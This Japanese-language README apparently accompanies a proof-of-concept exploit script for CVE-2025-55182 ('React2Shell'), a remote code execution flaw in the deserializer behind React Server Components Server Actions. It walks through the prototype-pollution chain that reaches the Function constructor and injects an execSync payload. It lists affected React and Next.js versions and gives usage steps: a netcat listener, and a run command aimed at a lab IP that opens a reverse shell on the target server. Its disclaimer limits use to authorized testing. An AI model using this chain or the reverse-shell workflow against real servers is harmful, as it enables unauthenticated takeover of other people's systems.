
CVE-2025-55182/66478の概念実証エクスプロイト。React Server ComponentsのデシリアライゼーションによるRCEで、細工したmultipartリクエストを介してリバースシェルを配信します。
CVE-2025-55182 の概念実証エクスプロイト。一般に
「React2Shell」 と呼ばれる、React Server Components の
Server Actions 逆シリアライゼーション(react-server-dom-webpack / -parcel / -turbopack)における
サーバーサイドプロトタイプ汚染の脆弱性です。Next.js では
CVE-2025-66478 として追跡されていました(NVD により重複として却下されましたが、
Next.js への影響を議論する際に一般的に使用される識別子です)。
単一の細工された multipart HTTP リクエストが Object.prototype を汚染し、
プロトタイプチェーンを辿って Function コンストラクタに到達することで、
認証されていない攻撃者がサーバープロセス内で任意の Node.js コードを実行できます — CVSS 10/10。
根本原因。 RSC アクション応答デシリアライザ(requireModule)は、
クライアントから送信されたオブジェクトパス(例: "$1:__proto__:then")を解決する際に、
対象キーが のような予約済み・危険なキーでないことを検証しません。
プレーンオブジェクトに を設定すると 自体が汚染され、
以降に作成されるすべてのオブジェクトが攻撃者制御のプロパティを継承します。
__proto____proto__Object.prototypeエクスプロイトの連鎖。
then → "$1:__proto__:then" — プロトタイプチェーンに到達。_response._formData.get → "$1:constructor:constructor" — 汚染された
プロトタイプから Function コンストラクタへ移動。_response._prefix — 攻撃者制御の文字列。サーバーが偽造された
「thenable」(偽の Promise 風オブジェクト)を解決しようとする際に実行される
コードに挿入されます。この PoC では process.mainModule.require('child_process').execSync('<cmd>') に設定します。Next-Action ヘッダー付きの POST でアプリのルートに
2 つの multipart フィールド(0、1)として送信され、
リクエストは脆弱な Server Actions ハンドラーに直接ルーティングされます。影響を受けるバージョン(Datadog のレポート による):
| ライブラリ | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js は App Router 使用時に 15.x、16.x、14.3.0-canary.77+ で影響を受けます。 15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7 で修正されています。
認可されたセキュリティテストおよび教育目的のみに使用してください(例: CTF/HTB ラボ、自身のインフラ、または書面による許可を得たエンゲージメント)。 所有していないシステムや、明示的なテスト許可がないシステムに対して実行しないでください。
curlbashnc -lvnp <port>)。-c で独自のコマンドを
指定する場合は不要busybox nc を
実行している必要があります(または -c をターゲットで利用可能なシェルユーティリティに
合わせて調整してください)chmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| フラグ | 必須 | 説明 |
|---|---|---|
-t, --target | はい | 脆弱な Next.js アプリを実行しているターゲットホスト/IP |
-L, --lport | はい* | リスナーがバインドされているローカルポート |
-p, --port | いいえ | ターゲットポート(デフォルト: 3000) |
-l, --lhost | いいえ | コールバック用の自身の IP(デフォルト: 自動検出) |
-i, --iface | いいえ | --lhost を自動検出するインターフェース |
-c, --command | いいえ | ターゲットで実行するカスタムコマンド(デフォルトのリバースシェルを上書き) |
--timeout | いいえ | curl リクエストのタイムアウト秒数(デフォルト: 3) |
-v, --verbose | いいえ | リクエスト/レスポンスの詳細を表示 |
-h, --help | いいえ | ヘルプを表示 |
* 代わりに -c/--command を指定する場合は不要。
# 1) リスナーを起動
rlwrap nc -lvnp 9090
# 2) エクスプロイトを実行
./exploit.sh -t 10.129.245.214 -L 9090